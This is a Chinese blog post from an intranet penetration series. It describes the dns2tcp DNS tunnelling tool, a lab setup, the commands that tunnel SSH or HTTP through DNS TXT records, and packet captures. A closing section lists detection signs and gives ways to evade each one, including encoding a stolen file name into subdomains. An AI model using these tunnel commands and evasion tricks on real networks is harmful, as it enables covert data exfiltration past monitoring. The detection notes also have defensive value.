内网渗透系列:内网隧道之dns2tcp

前言

本文研究DNS隧道的一个工具,dns2tcp

github:https://github.com/alex-sector/dns2tcp

一、概述

1、简介

最后更新于2017年,C语言编写

TCP over DNS,即通过DNS隧道转发TCP连接,没有加密。采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便

  • 利用合法DNS服务器实现DNS隧道
  • C/S(dns2tcpc / dns2tcpd)结构
  • 默认通过TXT记录加密(base64)传输数据(A记录长度有限)
  • 隧道建立后保持连接,大概0.6s发出一个数据包,最大是3s可以设置
  • 需要配合其他代理工具

2、原理

DNS原理见:一文搞明白DNS与域名解析

本工具就是将数据放在TXT记录里base64加密后传输,DNS数据包通过权威DNS服务器提供的NS记录和A记录到服务端的DNS服务器,完成流量代理

3、用法

常用命令:

-c   大流量压缩
-F   前台运行
-f   指定配置文件
-r   指定使用的资源
-z   指定DNS域名
-k   设置传输密码
-l   侦听本地端口
-d   编译水平(1 | 2 |3 )   

(1)服务端

修改/etc/dns2tcpd.conf配置文件
建立隧道dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

(2)客户端

测试是否可连:dns2tcpc -z xxx.xx.xxx
建立隧道使用ssh服务:dns2tcpc -c -k password -d 1 -l 7002 -r ssh -z xxx.xx.xxx
然后将对应服务扔进本地设定的端口

二、实践

1、测试场景

(1)攻击机

Kali2021 192.168.10.128

(2)DNS服务器

windows server 2008 :192.168.10.200

设置静态IP,参见https://blog.csdn.net/pockeyfan/article/details/42063683

新建A记录,指向服务端kali
在这里插入图片描述
新建一个委托(即NS记录)指向刚刚设定的A记录的域名
在这里插入图片描述
再建一个A记录指向windows server自己
在这里插入图片描述

(3)目标机

Ubuntu 18.04 192.168.10.129

由于模拟的是DNS服务器是真正的权威服务器,即目标机应该能DNS解析到DNS服务器,所以要把目标机的DNS解析改下

在这里插入图片描述
nslookup检测下

在这里插入图片描述

2、建立隧道

(1)服务端

启动apache服务

在这里插入图片描述

修改配置文件
在这里插入图片描述
修改后
在这里插入图片描述

启动侦听
在这里插入图片描述

(2)客户端

测试是否可连
在这里插入图片描述

启动

在这里插入图片描述

然后可以访问http服务

在这里插入图片描述
类似的有ssh、nc、smtp等多种代理方式可通过隧道代理
注:ssh偶尔会提示reset peer,或许要多试几次

3、抓包看看

握手阶段
在这里插入图片描述
心跳包,都是正经域名
在这里插入图片描述
利用隧道时,大量TXT记录包,内容base64加密后放在域名里
在这里插入图片描述

三、探索

1、源码与分析

TODO

2、检测与绕过

(1)异常DNS数据包数量

如上图所示,在利用DNS隧道时,1s内会有近200个DNS包,且都来自同一DNS服务器

绕过方法:中间加间隔,但这样就会导致速度非常慢

(2)特殊记录类型TXT

通常只有邮件服务器/网关会发送TXT记录,且不会有这么多的数量,正常的DNS网络流量中,TXT记录的比例可能只有1%-2%

绕过办法:混合使用A、AAAA、TXT、MX、CNAME等记录

(3)异常域名

域名里有类似base64的字符串,可以通过信息熵等方法检测

绕过办法:维护一个常用域名字典,然后拆分,但这样会大大增加数据包数量

比如现在要把一个文件名 finalexamanswer.doc 传出去
base64 一下 -> ZmluYWxleGFtYW5zd2VyLmRvYw
然后编码常用域名,变成 Zm -> zone.music.domain,lu -> login.user.domain,YW``yun.web.domain …

(4)心跳包

心跳包的间隔和数量都是问题

绕过方法:间隔可以调长,甚至随机,数量可以换UDP socket重新建立隧道

(5)命令特征

命令的一些特征字符串

绕过方法:改掉字符串

结语

心跳包是对正常域名的请求很好,不过仍然有些改进空间

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/119139443